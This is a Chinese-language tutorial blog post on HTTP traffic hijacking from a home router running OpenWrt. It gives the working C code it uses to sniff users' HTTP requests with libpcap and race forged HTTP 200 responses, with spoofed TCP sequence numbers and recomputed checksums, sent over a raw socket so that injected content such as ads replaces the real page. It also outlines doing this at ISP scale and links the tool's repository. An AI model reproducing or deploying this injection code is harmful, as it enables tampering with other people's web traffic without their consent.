Table of Contents
流量劫持比较复杂,一般来说运营商,路由器厂商,黑客都可能是流量劫持操作者。基于国内大部分网站以http明文协议为主,这无疑给劫持者提供了土壤。
本文演示了家庭路由器流量劫持实现,公共WIFI连接授权实现有点差异,它是用iptables重定向至webserver,有兴趣的同学可参考nodogsplash实现源码。
一. 原理
原理:
1. 嗅探用户http get请求流量。
2. 伪造http 200包(插入广告代码)。
两种场景:
1. 路由器侧
在路由器侧通过旁路的方式(libpcap)嗅探流量,并将伪造响应先于真实响应前发送给用户,后到的真实响应会被协议栈丢弃。
2. ISP侧
ISP网络设备流量分光至服务器,通过DPDK方式嗅探流量,并回应200 OK包。
二. 源码实现
2.1 实现环境
router: TP-LINK
router os: openwrt
lib:libpcap
2.2 核心代码
1. libpcap流量采集
2. DPI解析
3. 协议伪造
/**
* 发送HTTP响应
*/
bool sendHttpResponse( char *buff, char *response )
{
struct iphdr *ip = (struct iphdr*)buff;
struct tcphdr *tcp = (struct tcphdr*)((char*)buff + sizeof(struct iphdr));
int nHeadLen = ip->ihl*4 + tcp->doff*4;
int Length = htons(ip->tot_len) - ip->ihl*4 - tcp->doff*4;
char *pPacketBuffer = this->PacketBuffer;
memset( (void*)pPacketBuffer,0,PACKET_BUFFER_LEN );
// 添加html
char *ContentBuffer = pPacketBuffer + 350;
int nContentLen = snprintf( ContentBuffer,
1300,
response );
// 内容长度
char strLen[25];
int cLen = sprintf( strLen,
"%d\r\n\r\n",
nContentLen );
/*
* nHeadLen(iphead +tcphead) + http_head + content_length + content
*/
pPacketBuffer = ContentBuffer - ( nHeadLen + sizeof(HTTP_HEAD)-1 + cLen );
memcpy( pPacketBuffer, ip, nHeadLen );
memcpy( pPacketBuffer + nHeadLen, HTTP_HEAD, sizeof(HTTP_HEAD) );
memcpy( pPacketBuffer + nHeadLen + sizeof(HTTP_HEAD)-1,strLen,cLen );
// IP
struct iphdr *pTempIP = (struct iphdr*)pPacketBuffer;
pTempIP->version = 4;
pTempIP->ihl = 5;
pTempIP->protocol = IPPROTO_TCP;
pTempIP->saddr = ip->daddr;
pTempIP->daddr = ip->saddr;
// TCP
struct tcphdr *pTempTcp = (struct tcphdr*)((char*)pTempIP + sizeof(struct iphdr));
if( pTempTcp == NULL )
{
printf( "%s\n","TCP NULL" );
return false;
}
pTempTcp->source = tcp->dest;
pTempTcp->dest = tcp->source;
pTempTcp->seq = tcp->ack_seq;
pTempTcp->ack_seq = ntohl( ntohl(tcp->seq) + Length );
pTempTcp->ack = 1;
pTempTcp->fin = 0;
pTempTcp->psh = 1;
// 校验和计算
int nLen = nHeadLen + sizeof(HTTP_HEAD)-1 + cLen + nContentLen;
pTempIP->tot_len = htons(nLen);
IPCheckSum(pTempIP);
// 原始套接字发送HTTP响应
m_addr.sin_addr.s_addr = pTempIP->daddr;
int count = sendto( m_rawsock,
(const char*)pTempIP,
ntohs(pTempIP->tot_len),
0,
(struct sockaddr *)&m_addr,
sizeof(struct sockaddr_in) );
return count > 0;
}
4. 校验和计算
a. CRC32校验和计算,参见内核实现。
b. TCP/UDP的checksum,需要包含一个12字节的伪首部。TCP校验和覆盖TCP首部和TCP数据,而IP首部中的校验和只覆盖IP的首部,不覆盖IP数据报中的任何数据。
// IP检验和计算
int IPCheckSum( iphdr* ip )
{
if( NULL==ip || 4 != ip->version || 5 > ip->ihl )
{
return -1;
}
unsigned char protocol = ip->protocol;
if( !(protocol==IPPROTO_TCP || protocol==IPPROTO_UDP) )
{
ip->check = 0;
ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr));
return 0;
}
char *ipdata = (char*)ip + ip->ihl*4;
// 在tcp/udp头部上添加伪头部,注:直接修改ip头部分,实现比较巧妙
CheckSumHeader *check = (CheckSumHeader*)(ipdata - sizeof(CheckSumHeader));
// temp用于备份ip头部数据
char temp[sizeof(CheckSumHeader)];
memcpy(temp, check, sizeof(CheckSumHeader));
check->SrcIP = ip->saddr;
check->DestIP = ip->daddr;
check->Zero = 0;
check->Protocol = protocol;
check->Length = ntohs(ntohs(ip->tot_len) - sizeof(struct iphdr));
// tcp/udp从伪头部开始计算校验和
if (protocol == IPPROTO_TCP)
{
struct tcphdr *tcp = (struct tcphdr*)ipdata;
tcp->check = 0;
tcp->check = CheckSum((unsigned short*)check,
ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader)); // psd + tcp
}
else if (protocol == IPPROTO_UDP)
{
struct udphdr *udp = (struct udphdr*)ipdata;
udp->check = 0;
udp->check = CheckSum((unsigned short*)check,
ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader)); // psd + tcp
}
// 恢复原ip头数据
memcpy(check, temp, sizeof(CheckSumHeader));
// 计算IP校验和
ip->check = 0;
ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr));
return 0;
}
三. 测试
请求 http://www.163.com,浏览器显示 Hello world。
最后
本文演示了家庭路由器流量劫持实现,由于家庭流量较小,且路由器资源有限,用传统的libpcap勉强能支撑。
如果是ISP机房流量,则需要考虑DPDK高性能采集框架。
近年来国内厂商对劫持引起重视,BAT都采用了https加密网站。
github地址:
https://github.com/spkettas/httpfake